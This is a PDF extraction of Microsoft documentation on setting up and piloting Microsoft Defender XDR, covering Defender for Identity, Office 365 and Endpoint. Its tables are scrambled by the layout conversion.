You don't need all of these components to benefit from the capabilities of XDR and
Microsoft Defender XDR. You will realize gains and efficiencies through using one or two
as well.
ﾉ Expand table
Component Description Reference

material
Microsoft Microsoft Defender for Identity uses Active Directory signals What is
Defender for to identify, detect, and investigate advanced threats, Microsoft
Identity compromised identities, and malicious insider actions Defender for
directed at your organization. Identity?
Exchange Exchange Online Protection is the native cloud-based SMTP Exchange

Online relay and filtering service that helps protect your Online
Protection organization against spam and malware. Protection (EOP)
overview -
Office 365
Microsoft Microsoft Defender for Office 365 safeguards your Microsoft

Defender for organization against malicious threats posed by email Defender for
Office 365 messages, links (URLs) and collaboration tools. Office 365 -
Office 365
Microsoft Microsoft Defender for Endpoint is a unified platform for Microsoft

Defender for device protection, post-breach detection, automated Defender for
Endpoint investigation, and recommended response. Endpoint -
Windows
security
Microsoft Microsoft Defender for Cloud Apps is a comprehensive cross- What is

Defender for SaaS solution bringing deep visibility, strong data controls, Defender for
Cloud Apps and enhanced threat protection to your cloud apps. Cloud Apps?
Component Description Reference
material
Microsoft Microsoft Entra ID Protection evaluates risk data from billions What is Identity
Entra ID of sign-in attempts and uses this data to evaluate the risk of Protection?
Protection each sign-in to your environment. This data is used by
Microsoft Entra ID to allow or prevent account access,
depending on how Conditional Access policies are
configured. Microsoft Entra ID Protection is licensed
separately from Microsoft Defender XDR. It is included with
Microsoft Entra ID P2.
Microsoft Defender XDR architecture

The diagram below illustrates high-level architecture for key Microsoft Defender XDR
components and integrations. Detailed architecture for each Defender component, and
use-case scenarios, are given throughout this series of articles.
Combined incident queue

Automated response to stop attacks
Self-healing for compromised devices, user identities, and mailboxes
Cross-product threat hunting
Threat analytics
Shared signals
Microsoft Microsoft Microsoft Microsoft Microsoft

Defender for Defender for Defender for Defender for Entra ID
Office 365 Identity Endpoint Cloud Apps Protection
Exchange Online
Protection
Mail
Microsoft Entra ID
User
sign-ins
On-premises
integration
AD FS AD DS 
Organization devices Cloud app traffic
Microsoft Defender XDR combines the signals from all of the Defender
components to provide extended detection and response (XDR) across domains.
This includes a unified incident queue, automated response to stop attacks, self-
healing (for compromised devices, user identities, and mailboxes), cross-threat
hunting, and threat analytics.
Microsoft Defender for Office 365 safeguards your organization against malicious
threats posed by email messages, links (URLs), and collaboration tools. It shares
signals resulting from these activities with Microsoft Defender XDR. Exchange
Online Protection (EOP) is integrated to provide end-to-end protection for
incoming email and attachments.
Microsoft Defender for Identity gathers signals from servers running Active
Directory Federated Services (AD FS) and on-premises Active Directory Domain
Services (AD DS). It uses these signals to protect your hybrid identity environment,
including protecting against hackers that use compromised accounts to move
laterally across workstations in the on-premises environment.
Microsoft Defender for Endpoint gathers signals from and protects devices used by
your organization.
Microsoft Defender for Cloud Apps gathers signals from your organization's use of
cloud apps and protects data flowing between your environment and these apps,
including both sanctioned and unsanctioned cloud apps.
Microsoft Entra ID Protection evaluates risk data from billions of sign-in attempts
and uses this data to evaluate the risk of each sign-in to your environment. This
data is used by Microsoft Entra ID to allow or prevent account access, depending
on how Conditional Access policies are configured. Microsoft Entra ID Protection is
licensed separately from Microsoft Defender XDR. It is included with Microsoft
Entra ID P2.
Microsoft SIEM and SOAR can use data from

Additional optional architecture components not included in this illustration:
Detailed signal data from all Microsoft Defender XDR components can be
integrated into Microsoft Sentinel and combined with other logging sources to
offer full SIEM and SOAR capabilities and insights.
For more reading on using Microsoft Sentinel, an Azure SIEM, with Microsoft
Defender XDR as an XDR, take a look at this Overview article and the Microsoft
Sentinel and Microsoft Defender XDR integration steps.
For more on SOAR in Microsoft Sentinel (including links to playbooks in the
Microsoft Sentinel GitHub Repository), please read this article.
The evaluation process for Microsoft Defender

XDR cyber security
Microsoft recommends enabling the components of Microsoft 365 Defender in the
order illustrated:
The following table describes this illustration.
ﾉ Expand table
Serial Step Description

Number
1 Create the This step ensures you have the trial license for Microsoft
evaluation Defender XDR.
environment
2 Enable Defender for Review the architecture requirements, enable the evaluation,
Identity and walk through tutorials for identifying and remediating
different attack types.
3 Enable Defender for Ensure you meet the architecture requirements, enable the
Office 365 evaluation, and then create the pilot environment. This
component includes Exchange Online Protection and so you
will actually evaluate both here.
4 Enable Defender for Ensure you meet the architecture requirements, enable the
Endpoint evaluation, and then create the pilot environment.
5 Enable Microsoft Ensure you meet the architecture requirements, enable the
Defender for Cloud evaluation, and then create the pilot environment.
Apps
6 Investigate and Simulate an attack and begin using incident response

respond to threats capabilities.
7 Promote the trial to Promote the Microsoft 365 components to production one-
production by-one.
This order is commonly recommended and designed to leverage the value of the
capabilities quickly based on how much effort is typically required to deploy and
configure the capabilities. For example, Defender for Office 365 can be configured in
less time than it takes to enroll devices in Defender for Endpoint. Of course, you should
prioritize the components to meet your business needs, and can enable these in a
different order.
Go to the Next Step

Learn about and/or create the Microsoft Defender XDR Evaluation Environment
 Tip
Do you want to learn more? Engage with the Microsoft Security community in our
Tech Community: Microsoft Defender XDR Tech Community .
Feedback

Step 1. Create the Microsoft Defender
XDR Evaluation Environment for greater
cyber security
Article • 04/22/2024
You can learn about and build out this Microsoft Defender XDR solution in steps that are
distributed through the rest of this series:
How to create the environment

Set up or learn about each technology of this Microsoft XDR
Microsoft Defender for Office
How to investigate and respond using this XDR
Promote the trial environment to production
Back to the Overview
The steps in this series run end-to-end, from learning the concepts behind the Microsoft
Defender XDR to building it, and into taking the evaluation environment live to
production.
There are two common ways to do this next step in evaluation. This series assumes you
already have a production Microsoft 365 tenant and are activating Microsoft 365 E5 trial
licenses to evaluate Microsoft Defender XDR in the current environment. An in-place
evaluation will let you keep any security methods with the purchase of licenses after the
evaluation period.
The second is to Set up your Microsoft Defender XDR trial lab environment for
evaluation. It might not have many real signals from the business while in testing.
You need to activate Microsoft 365 E5 trial

licenses to evaluate Microsoft Defender XDR
1. Sign in your existing Microsoft 365 tenant administration portal.
2. Select Purchase Services from the navigation menu.
3. Scroll down to the Office 365 section and select Details button under Office 365 E5
license.

4. Select Start free trial link.
5. Confirm your request and select Try now button.

Go to the next step
Learn how to enable Microsoft 365 for Identity
Or return to the Overview for Evaluate and pilot Microsoft Defender XDR
 Tip
Feedback

Step 2. Evaluate Microsoft Defender for
Identity overview
Article • 04/30/2024
Applies to:
７ Note
This article is also part of the Microsoft Defender XDR XDR solution we talk about
in this Overview.
Before starting the process that enables and pilots Microsoft Defender for Identity, if
you intend to evaluate Microsoft Defender XDR as an eXtended Detection and Response
(XDR) solution, make sure you've reviewed the process from the beginning: evaluating
Microsoft Defender XDR including created the Microsoft Defender XDR evaluation
environment.
Use the steps below to enable and pilot Microsoft Defender for Identity.
This table describes the steps in the illustration.
ﾉ Expand table
Number Step Description
1 Review architecture Understand the Defender for Identity architecture and

requirements and key be sure your environment meets the architecture
concepts prerequisites.
Number Step Description
2 Enable the evaluation Follow the steps to set up the evaluation environment.
environment
3 Set up the pilot Learn about benchmark settings for your identity
environment and try out Defender for Identity tutorials.
 Tip
Feedback

Review architecture requirements and
key concepts for Microsoft Defender for
Identity
Article • 05/09/2024
Applies to:
This article is Step 1 of 3 in the process of setting up the evaluation environment for
Microsoft Defender for Identity. For more information about this process, see the
overview article.
Before enabling Microsoft Defender for Identity, be sure you understand the
architecture and can meet the requirements.
Microsoft Defender for Identity is fully integrated with Microsoft Defender XDR, and
leverages signals from both on-premises Active Directory and cloud identities to help
you better identify, detect, and investigate advanced threats directed at your
organization.
Deploy Microsoft Defender for Identity to help your SecOp teams deliver a modern
identity threat detection (ITDR) solution across hybrid environments, including:
Prevent breaches, using proactive identity security posture assessments

Detect threats, using real-time analytics and data intelligence
Investigate suspicious activities, using clear, actionable incident information
Respond to attacks, using automatic response to compromised identities. For more
information, see What is Microsoft Defender for Identity?
Defender for Identity protects your on-premises Active Directory users and/or users
synced to your Microsoft Entra ID. To protect an environment made up of only Microsoft
Entra users, see Microsoft Entra ID Protection.
Understand the architecture

The following diagram illustrates the baseline architecture for Defender for Identity.
Shared signals

AD DS entities
Parsed authentication traffic
Windows ETW logs
Microsoft Entra ID
User Account provisioning
sign-ins Authentication
Authorization
Third- Federated authentications

party
identity
providers AD FS AD CS AD DS
On-premises integration 
Sensors installed on Active Directory Domain Services (AD DS) domain controllers
and Active Directory Certificate Services (AD CS) servers parse logs and network
traffic and send them to Microsoft Defender for Identity for analysis and reporting.
Sensors can also parse Active Directory Federation Services (AD FS) authentications
for third-party identity providers and when Microsoft Entra ID is configured to use
federated authentication (the dotted lines in the illustration).
Microsoft Defender for Identity shares signals to Microsoft Defender XDR for
extended detection and response (XDR).
Defender for Identity sensors can be directly installed on the following servers:
AD DS domain controllers
The sensor directly monitors domain controller traffic, without the need for a
dedicated server or the configuration of port mirroring.
AD CS servers
AD FS servers
The sensor directly monitors network traffic and authentication events.
For a deeper look into the architecture of Defender for Identity, see Microsoft Defender
for Identity architecture.
Understand key concepts

The following table identified key concepts that are important to understand when
evaluating, configuring, and deploying Microsoft Defender for Identity.
ﾉ Expand table
Concept Description More information
Monitored Defender for Identity monitors signals generated Microsoft Defender

activities from within your organization to detect suspicious for Identity
or malicious activity and helps you determine the monitored activities
validity of each potential threat so that you can
effectively triage and respond.
Security alerts Defender for Identity security alerts explain the Microsoft Defender
suspicious activities detected by sensors on your for Identity Security
network along with the actors and computers Alerts
involved in each threat.
Entity profiles Entity profiles provide a comprehensive deep-dive Understanding entity

investigation of users, computers, devices, and profiles
resources along with their access history.
Lateral movement A key component of MDI security insights is Microsoft Defender

paths identifying lateral movement paths in which an for Identity Lateral
attacker uses non-sensitive accounts to gain access Movement Paths
to sensitive accounts or machines throughout your (LMPs)
network.
Network Name Network Name Resolution (NNR) is a component of What is Network

Resolution MDI functionality which captures activities based on Name Resolution?
network traffic, Windows events, ETW, etc. and
correlates this raw data to the relevant computers
involved in each activity.
Reports Defender for Identity reports allow you to schedule Microsoft Defender
or immediately generate and download reports that for Identity Reports
provide system and entity status information. You
can create reports about system health, security

alerts, and potential lateral movement paths
detected in your environment.
Role groups Defender for Identity offers role-based groups and Microsoft Defender
delegated access to safeguard data according to for Identity role
your organization's specific security and compliance groups
needs which includes Administrators, Users and
Viewers.
Administrative In addition to the Microsoft Defender portal, the Working with the
portal Defender for Identity portal can be used to monitor Microsoft Defender
and respond to suspicious activity. for Identity portal
Microsoft Microsoft Defender for Cloud Apps integrates with Microsoft Defender
Defender for Microsoft Defender for Identity to provide user for Identity
Cloud Apps entity behavioral analytics (UEBA) across a hybrid integration
integration environment - both cloud app and on-premises
Review prerequisites
Defender for Identity requires some prerequisite work to ensure that your on-premises
identity and networking components meet minimum requirements. Use this article as a
checklist to ensure your environment is ready: Microsoft Defender for Identity
prerequisites.
Next steps
Step 2 of 3: Enable the evaluation environment Defender for Identity
Return to the overview for Evaluate Microsoft Defender for Identity
Return to the overview for Evaluate and pilot Microsoft Defender XDR
 Tip
Feedback

Enable the evaluation environment for
Article • 04/22/2024
Applies to:
overview article.
Use the following steps to set up your Microsoft Defender for Identity environment.
Step 1. Set up the Defender for Identity Instance

Step 2. Install and configure the sensor
Step 3. Configure event log and proxy settings on machines with the sensor
Step 4. Allow Defender for Identity to identify local admins on other computers
Step 1: Set up the Defender for Identity

Instance
Sign in to the Defender for Identity portal to create your instance and then connect this
instance to your Active Directory environment.
ﾉ Expand table
Step Description More information
1 Create the Defender for Identity instance Quickstart: Create your Microsoft
Defender for Identity instance
2 Connect the Defender for Identity instance to Quickstart: Connect to your Active
your Active Directory forest Directory Forest
Step 2: Install and configure the sensor
Next, download, install, and configure the Defender for Identity sensor on the domain
controllers and AD FS servers in your on-premises environment.
ﾉ Expand table
1 Determine how many Microsoft Defender Plan capacity for Microsoft Defender for
for Identity sensors you need. Identity
2 Download the sensor setup package Quickstart: Download the Microsoft Defender
for Identity sensor setup package
3 Install the Defender for Identity sensor Quickstart: Install the Microsoft Defender for
Identity sensor
4 Configure the sensor Configure Microsoft Defender for Identity

sensor settings
Step 3: Configure event log and proxy settings

on machines with the sensor
On the machines that you installed the sensor on, configure Windows event log
collection and Internet proxy settings to enable and enhance detection capabilities.
ﾉ Expand table
1 Configure Windows event Configure Windows Event collection

log collection
2 Configure Internet proxy Configure endpoint proxy and Internet connectivity settings
settings for your Microsoft Defender for Identity Sensor
Step 4: Allow Defender for Identity to identify

local admins on other computers
Microsoft Defender for Identity lateral movement path detection relies on queries that
identify local admins on specific machines. These queries are performed with the SAM-R
protocol, using the Defender for Identity Service account.
To ensure Windows clients and servers allow your Defender for Identity account to
perform SAM-R, a modification to Group Policy must be made to add the Defender for
Identity service account in addition to the configured accounts listed in the Network
access policy. Make sure to apply group policies to all computers except domain
controllers.
For instructions on how to do this, see Configure Microsoft Defender for Identity to
make remote calls to SAM.
Next steps
Step 3 of 3: Pilot Microsoft Defender for Identity
 Tip
Feedback

Pilot Microsoft Defender for Identity
Article • 04/30/2024
Applies to:
overview article.
Use the following steps to set up and configure the pilot for Microsoft Defender for
identity. The recommendations don't include setting up a pilot group. The best practice
is to install the sensor on all of your servers running Active Directory Domain Services
(AD DS) and Active Directory Federated Services (AD FS).
The following table describes the steps in the illustration.
Step 1: Configure benchmark recommendations for your identity environment

Step 2: Try out capabilities — Walk through tutorials for identifying and
remediating different attack types
Step 1: Configure benchmark recommendations

for your identity environment
Microsoft provides security benchmark recommendations for customers using Microsoft
Cloud services. The Azure Security Benchmark (ASB) provides prescriptive best practices
and recommendations to help improve the security of workloads, data, and services on
Azure.
Implementing these recommendations can take some time to plan and implement.
While these recommendations greatly increase the security of your identity
environment, they shouldn't prevent you from continuing to evaluate and implement
Microsoft Defender for Identity. These recommendations are provided here for your
awareness.
Step 2: Try out capabilities — Walk through

tutorials for identifying and remediating
different attack types
The Microsoft Defender for Identity documentation includes a series of tutorials that
walk through the process of identifying and remediating various attack types.
Try out Defender for Identity tutorials:
Reconnaissance alerts
Compromised credential alerts
Lateral movement alerts
Domain dominance alerts
Exfiltration alerts
Investigate a user
Investigate a computer
Investigate lateral movement paths
Investigate entities
Next steps
Evaluate Microsoft Defender for Office 365.
 Tip
Feedback
Step 3. Enable and pilot Microsoft
Article • 04/22/2024
Applies to:
This article outlines the process to enable and pilot Microsoft Defender for Office 365.
Before starting this process, be sure you've reviewed the overall process for evaluating
Microsoft Defender XDR, and you've created the Microsoft Defender XDR evaluation
environment.
Use the following steps to enable and pilot Microsoft Defender for Office 365.
ﾉ Expand table
Step Link Description

number
1 Review architecture Understand the Defender for Office architecture and be

requirements and key sure your Exchange Online environment meets the
concepts architecture prerequisites.
2 Enable the evaluation Follow the steps to set up the evaluation environment.
environment
3 Set up the pilot Create pilot groups, configure protection, and become
familiar with key features and dashboards.
 Tip
Feedback

Review Microsoft Defender for Office
365 architecture requirements and key
concepts
Article • 04/30/2024
Applies to:
Microsoft Defender for Office 365. For more information about this process, see the
overview article.
Before enabling Defender for Office 365, be sure you understand the architecture and
can meet the requirements. This article describes the architecture, key concepts, and the
prerequisites that your Exchange Online environment must meet.

The following diagram illustrates baseline architecture for Microsoft Defender for Office
365, which can include a third-party SMTP gateway or on-premises integration. Hybrid
coexistence scenarios (that is, production mailboxes are both on-premises and online)
require more complex configurations and aren't covered in this article or evaluation
guidance.
Shared signals
7
Microsoft Defender for Office 365
Anti-Phishing
User impersonation
Domain impersonation
Safe Links
Safe Attachments
3 4
Internet Exchange Online
Exchange Online Microsoft Entra ID
1 Protection
2
Connection Filter Junk Mail Account
Provisioning
Anti-malware Mailbox Rules
Directory Edge
Policy Filter Message Encryption
External Blocking
Sender Anti-spam Rights Management
Anti-spoofing
Content Filter 5
SMTP Gateway
6
Exchange Active Directory Microsoft Entra
Connect
On-premises integration 
Third-Party
The following table describes this illustration.
ﾉ Expand table
Call- Description
out
1 The host server for the external sender typically performs a public DNS lookup for an MX
record, which provides the target server to relay the message. This referral can either be
Exchange Online (EXO) directly or an SMTP gateway configured to relay against EXO.
2 Exchange Online Protection negotiates and validates the inbound connection and
inspects the message headers and content to determine what extra policies, tagging, or
processing is required.
3 Exchange Online integrates with Microsoft Defender for Office 365 to offer more
advanced threat protection, mitigation, and remediation.
Call- Description
out
4 A message that isn't malicious, blocked, or quarantined is processed and delivered to the
recipient in EXO where user preferences related to junk mail, mailbox rules, or other
settings are evaluated and triggered.
5 Integration with on-premises Active Directory can be enabled using Microsoft Entra
Connect to synchronize and provision mail-enabled objects and accounts to Microsoft
Entra ID and ultimately Exchange Online.
6 When integrating an on-premises environment, it's encouraged to use an Exchange

server for supported management and administration of mail-related attributes, settings,
and configurations
7 Microsoft Defender for Office 365 shares signals to Microsoft Defender XDR for extended
detection and response (XDR).
On-premises integration is common but optional. If your environment is cloud-only, this

guidance also works for you.

evaluating, configuring, and deploying Defender for Office 365.
ﾉ Expand table
Exchange Online Exchange Online Protection (EOP) is the cloud- Exchange Online
Protection based filtering service that helps protect your Protection overview
organization against spam and malware in email.
EOP is included in all Microsoft 365 licenses that
include Exchange Online.
Anti-malware Organizations with mailboxes in Exchange Anti-malware

protection Online are automatically protected against protection in EOP
malware.
Anti-spam protection Organizations with mailboxes in Exchange Anti-spam protection

Online are automatically protected against junk in EOP
mail and spam.
Anti-phishing Defender for Office 365 offers more advanced Extra anti-phishing
protection anti-phishing protection related to spear protection in
phishing, whaling, ransomware, and other Microsoft Defender
malicious activities. for Office 365
Anti-spoofing EOP includes features to help protect your Anti-spoofing

protection organization from spoofed (forged) senders. protection in EOP
Safe Attachments Safe Attachments provides an extra layer of Safe Attachments in

protection by using a virtual environment to Microsoft Defender
check and "detonate" attachments in email for Office 365
messages before they're delivered.
Safe Attachments for In addition, Safe Attachments for SharePoint, Safe Attachments for
SharePoint, OneDrive, OneDrive, and Microsoft Teams offers an extra SharePoint, OneDrive,
and Microsoft Teams layer of protection for files that have been and Microsoft Teams
uploaded to cloud storage repositories.
Safe Links Safe Links is a feature that provides URL Safe Links in
scanning and rewriting within inbound email Microsoft Defender
messages and offers verification of those links for Office 365
before they're delivered or clicked.
For more detailed information about the capabilities included with Microsoft Defender
for Office 365, see Microsoft Defender for Office 365 service description.
Review architecture requirements

A successful Defender for Office 365 evaluation or production pilot assumes the
following prerequisites:
All your recipient mailboxes are currently in Exchange Online.

Your public MX record resolves directly to EOP or a third-party Simple Mail Transfer
Protocol (SMTP) gateway that then relays inbound external email directly to EOP.
Your primary email domain is configured as authoritative in Exchange Online.
You successfully deployed and configured Directory-Based Edge Blocking (DBEB) as
appropriate. For more information, see Use Directory-Based Edge Blocking to
reject messages sent to invalid recipients.
） Important
If these requirements aren't applicable or you are still in a hybrid coexistence

scenario, then a Microsoft Defender for Office 365 evaluation can require more
complex or advanced configurations which aren't fully covered in this guidance.
SIEM integration
You can integrate Microsoft Defender for Office 365 with Microsoft Sentinel to more
comprehensively analyze security events across your organization and build playbooks
for effective and immediate response. For more information, see Connect alerts from
Microsoft Defender for Office 365.
Microsoft Defender for Office 365 can also be integrated into other Security Information
and Event Management (SIEM) solutions using the Office 365 Activity Management API.
Next steps
Step 2 of 3: Enable the evaluation environment Microsoft Defender for Office 365.
Return to the overview for Evaluate Microsoft Defender for Office 365.
 Tip
Feedback

Enable the evaluation environment
Article • 04/22/2024
Applies to:
overview article.
Use the following steps to enable the evaluation for Microsoft Defender for Office 365.
Step 1: Audit and verify the public MX record

Step 2: Audit accepted domains
Step 3: Audit inbound connectors
Step 4: Activate the evaluation
Step 1: Audit and verify the public MX record

To effectively evaluate Microsoft Defender for Office 365, it's important that inbound
external email is relayed through the Exchange Online Protection (EOP) instance
associated with your tenant.
1. In the M365 Admin Portal at https://admin.microsoft.com , expand ...Show all if

necessary, expand Settings, and then select Domains. Or, to go directly to the
Domains page, use https://admin.microsoft.com/Adminportal/Home#/Domains .
2. On the Domains page, select your verified email domain by clicking anywhere on
the entry other than the check box.
3. In the domain details flyout that opens, select the DNS records tab. Make note of
the MX record that's generated and assigned to your EOP tenant.
4. Access your external (public) DNS zone and check the primary MX record
associated with your email domain:
If your public MX record currently matches the assigned EOP address (for
example, contoso-com.mail.protection.outlook.com) then no further routing
changes should be required.
If your public MX record currently resolves to a third-party or on-premises
SMTP gateway, then additional routing configurations may be required.
If your public MX record currently resolves to on-premises Exchange, then
you may still be in a hybrid model where some recipient mailboxes haven't
yet been migrated to EXO.
Step 2: Audit accepted domains

1. In the Exchange admin center (EAC) at https://admin.exchange.microsoft.com ,
expand Mail flow, and then click Accepted domains.Or, to go directly to the
Accepted domains page, use
https://admin.exchange.microsoft.com/#/accepteddomains .
2. On the Accepted domains page, make note of the Domain type value for your
primary email domain.
If the domain type is set to Authoritative, then it's assumed all recipient
mailboxes for your organization currently reside in Exchange Online.
If the domain type is set to InternalRelay, then you may still be in a hybrid
model where some recipient mailboxes still reside on-premises.
Step 3: Audit inbound connectors

1. In the Exchange admin center (EAC) at https://admin.exchange.microsoft.com ,
expand Mail flow, and then click Connectors. Or, to go directly to the Connectors
page, use https://admin.exchange.microsoft.com/#/connectors .
2. On the Connectors page, make note of any connectors with the following settings:
The From value is Partner org that might correlate to a third-party SMTP
gateway.
The From value is Your org that might indicate you're still in a hybrid
scenario.
Step 4: Activate the evaluation

Use the instructions here to activate your Microsoft Defender for Office 365 evaluation
from the Microsoft Defender portal.
For detailed information, see Try Microsoft Defender for Office 365.
1. In the Microsoft Defender portal at https://security.microsoft.com , expand Email
& collaboration > select Policies & rules > select Threat policies > scroll down to
the Others section, and then select Evaluation mode. Or, to go directly to the
Evaluation mode page, use https://security.microsoft.com/atpEvaluation .
2. On the Evaluation mode page, click Start evaluation.
3. In the Turn on protection dialog, select No, I only want reporting, and then click
Continue.

4. In the Select the users you want to include dialog, select All users, and then click
Continue.
5. In the Help us understand your mail flow dialog, one of the following options is
automatically selected based on our detection of the MX record for your domain:
I'm only using Microsoft Exchange Online: The MX records for your domain
point to Microsoft 365. There's nothing left to configure, so click Finish.
I'm using a third-party and/or on-premises service provider: In the

upcoming screens, select the vendor name along with the inbound connector
that accepts mail from that solution. You also decide if you need an Exchange
Online mail flow rule (also known as a transport rule) that skips spam filtering
for incoming messages from the third-party protection service or device.
When you're finished, click Finish.
Next steps
Step 3 of 3: Set up the pilot for Microsoft Defender for Office 365
Return to the overview for Evaluate Microsoft Defender for Office 365
 Tip
Feedback

Pilot Microsoft Defender for Office 365
Article • 04/25/2024
Applies to:
overview article.
Office 365.
Step 1: Create pilot groups

Step 2: Configure protection
Step 3: Try out capabilities — Get familiar with simulation, monitoring, and metrics
When you evaluate Microsoft Defender for Office 365, you might choose to pilot
specific users before enabling and enforcing policies for your entire organization.
Creating distribution groups can help manage the deployment processes. For example,
create groups such as Defender for Office 365 Users - Standard Protection, Defender for
Office 365 Users - Strict Protection, Defender for Office 365 Users - Custom Protection, or
Defender for Office 365 Users - Exceptions.
It might not be evident why 'Standard' and 'Strict' are the terms used for these groups,
but that will become clear when you explore more about Defender for Office 365
security presets. Naming groups 'custom' and 'exceptions' speak for themselves, and
though most of your users should fall under standard and strict, custom and exception
groups will collect valuable data for you regarding managing risk.
Step 1: Create pilot groups

Distribution groups can be created and defined directly in Exchange Online or
synchronized from on-premises Active Directory.
1. Sign in to the Exchange Admin Center (EAC) at

https://admin.exchange.microsoft.com using an account that has been granted
Recipient Administrator role or been delegated group management permissions.
2. Go to Recipients > Groups.
3. On the Groups page, select Add a group.
4. For group type, select Distribution, and then click Next.


5. Give the group a Name and optional Description, and then click Next.
6. On the remaining pages, assign an owner, add members to the group, set the
email address, join-depart restrictions, and other settings.
Step 2: Configure protection

Some capabilities in Defender for Office 365 are configured and turned on by default,
but security operations might want to raise the level of protection from the default.
Some capabilities are not yet configured. You have the following options for configuring
protection (which are easy to change later):
Assign users to preset security policies: Preset security policies are the
recommended method to quickly assign a uniform level of protection across all of
the capabilities. You can choose from Standard or Strict protection. The settings
for Standard and Strict are described in the tables here. The differences between
Standard and Strict are summarized in the table here.
The advantages of preset security polices are you protect groups of users as
quickly as possible using Microsoft's recommended settings based on observations
in the datacenters. As new protection capabilities are added and as the security
landscape changes, the settings in preset security policies are automatically
updated to our recommended settings.
The disadvantage of preset security policies is you can't customize virtually any of
the security settings in preset security policies (for example, you can't change an
action from deliver to junk to quarantine, or vice-versa). The exception is entries
and optional exceptions for user impersonation and domain impersonation
protection, which you must configure manually.
Also, keep in mind that preset security policies are always applied before custom
policies. So, if you want to create and use any custom policies, you'll need to
exclude users in those custom policies from preset security policies.
Configure custom protection policies: If you prefer to configure the environment

yourself, compare the default, Standard, and Strict settings in Recommended
settings for EOP and Microsoft Defender for Office 365 security. Keep a
spreadsheet of where your custom build deviates.
You can also use the Configuration analyzer to compare the settings in your
custom policies to the Standard and Strict values.
For detailed information about choosing preset security policies vs. custom policies, see
Determine your protection policy strategy.
Assign preset security policies

We recommended you begin with the preset security policies in EOP and Defender for
Office 365 fast by assigning them to specific pilot users or defined groups as part of
your evaluation. Preset policies offer a baseline Standard protection template or a more
aggressive Strict protection template, which can be assigned independently.
For example, an EOP condition for pilot evaluations could be applied if the recipients are
members of a defined EOP Standard Protection group, and then managed by adding
accounts to, or removing account from, the group.
Likewise, a Defender for Office 365 condition for pilot evaluations could be applied if the
recipients are members of a defined Defender for Office 365 Standard Protection group
and then managed by adding / removing accounts via the group.
For complete instructions, see Use the Microsoft Defender portal to assign Standard and
Strict preset security policies to users.
Configure custom protection policies

The pre-defined Standard or Strict Defender for Office 365 policy templates give your
pilot users the recommended baseline protection. However, you can also build and
assign custom protection policies as part of your evaluation.
It's important to be aware of the precedence these protection policies take when
applied and enforced, as explained in Order of precedence for preset security policies
and other policies.
The explanation and table in Configure protection policies provides a handy reference
for what you need to configure.
Step 3: Try out capabilities and get familiar with

simulation, monitoring, and metrics
Now that your pilot is set up and configured, it's helpful to become familiar with the
reporting, monitoring, and attack simulation tools that are unique to Microsoft Defender
for Microsoft 365.
ﾉ Expand table
Capability Description More information
Threat Threat Explorer is a powerful near real-time tool to help About Threat
Explorer Security Operations teams investigate and respond to Explorer
threats and displays information about detected malware
and phishing in email and files in Office 365, as well as
other security threats and risks to your organization.
Capability Description More information
Attack You can use Attack simulation training in the Microsoft Get started using
simulation Defender portal to run realistic attack scenarios in your Attack simulation
training organization, which help you identify and find vulnerable training
users before a real attack impacts your environment.
Reports On the left navigation menu, click Reports and expand the View email security
dashboard Email & collaboration heading. The Email & collaboration reports in the
reports are about spotting security trends some of which Microsoft Defender
will allow you to take action (through buttons like 'Go to portal
submissions'), and others that will show trends. These
metrics are generated automatically. View Defender for
Office 365 reports in
the Microsoft
Defender portal
Next steps
Evaluate Microsoft Defender for Endpoint
Return to the overview for Evaluate Microsoft Defender for Office 365
 Tip
Feedback

Endpoint overview
Article • 04/22/2024
Applies to:
This article outlines the process to enable and pilot Microsoft Defender for Endpoint.
Before starting this process, be sure you've reviewed the overall process for evaluating
Microsoft Defender XDR, and you've created the Microsoft Defender XDR evaluation
environment.
Use the following steps to enable and pilot Microsoft Defender for Endpoint.
ﾉ Expand table
Step Description
Step 1. Review architecture Understand the Defender for Endpoint architecture and
requirements and key concepts the capabilities available to you.
Step 2. Enable the evaluation Follow the steps to set up the evaluation environment.
environment
Step 3. Set up the pilot Verify your pilot group, run simulations, and become
familiar with key features and dashboards.
 Tip
Feedback

Review Microsoft Defender for Endpoint
architecture requirements and key
concepts
Article • 04/26/2024
Applies to: Microsoft Defender XDR
This article will guide you in the process of setting up the evaluation for Microsoft
Defender for Endpoint environment.
For more information about this process, see the overview article.
Before enabling Microsoft Defender for Endpoint, be sure you understand the

The following diagram illustrates Microsoft Defender for Endpoint architecture and
integrations.
Shared signals
Threat & Vulnerability Management

On-boarding Microsoft Entra ID

Account provisioning
Microsoft Entra ID
Microsoft Endpoint Manager (Intune) enrollment
System Center Configuration Manager
Group Policy, scripts, etc.
1 2 4
Organization devices Microsoft Entra On-premises

ID Connect 
integration
The following table describes the illustration.
ﾉ Expand table
Call- Description
out
1 Devices are on-boarded through one of the supported management tools.
2 On-boarded devices provide and respond to Microsoft Defender for Endpoint signal
data.
3 Managed devices are joined and/or enrolled in Microsoft Entra ID.

Call- Description
out
4 Domain-joined Windows devices are synchronized to Microsoft Entra ID using

Microsoft Entra Connect.
5 Microsoft Defender for Endpoint alerts, investigations, and responses are managed in

evaluating, configuring, and deploying Microsoft Defender for Endpoint:
ﾉ Expand table
Administration Microsoft Defender portal to monitor and assist Microsoft Defender for
Portal in responding to alerts of potential advanced Endpoint portal
persistent threat activity or data breaches. overview
Attack Surface Help reduce your attack surfaces by minimizing Overview of attack
Reduction the places where your organization is vulnerable surface reduction
to cyberthreats and attacks.
Endpoint Detection Endpoint detection and response capabilities Overview of endpoint

and Response provide advanced attack detections that are near detection and response
real-time and actionable. capabilities
Behavioral Blocking Behavioral blocking and containment capabilities Behavioral blocking and
and Containment can help identify and stop threats, based on their containment
behaviors and process trees even when the
threat has started execution.
Automated Automated investigation uses various inspection Use automated

Investigation and algorithms based on processes that are used by investigations to
Response security analysts and designed to examine alerts investigate and
and take immediate action to resolve breaches. remediate threats
Advanced Hunting Advanced hunting is a query-based threat- Overview of advanced

hunting tool that lets you explore up to 30 days hunting
of raw data so that you can proactively inspect
events in your network to locate threat indicators
and entities.
Threat Analytics Threat analytics is a set of reports from expert Track and respond to
Microsoft security researchers covering the most emerging threats
relevant threats.
For more detailed information about the capabilities included with Microsoft Defender
for Endpoint, see What is Microsoft Defender for Endpoint.
SIEM integration
You can integrate Microsoft Defender for Endpoint with Microsoft Sentinel to more
comprehensively analyze security events across your organization and build playbooks
for effective and immediate response.
Microsoft Defender for Endpoint can also be integrated into other Security Information
and Event Management (SIEM) solutions. For more information, see Enable SIEM
integration in Microsoft Defender for Endpoint.
Next steps
Enable the evaluation
Return to the overview for Evaluate Microsoft Defender for Endpoint
 Tip
Feedback

Enable Microsoft Defender for Endpoint
evaluation environment
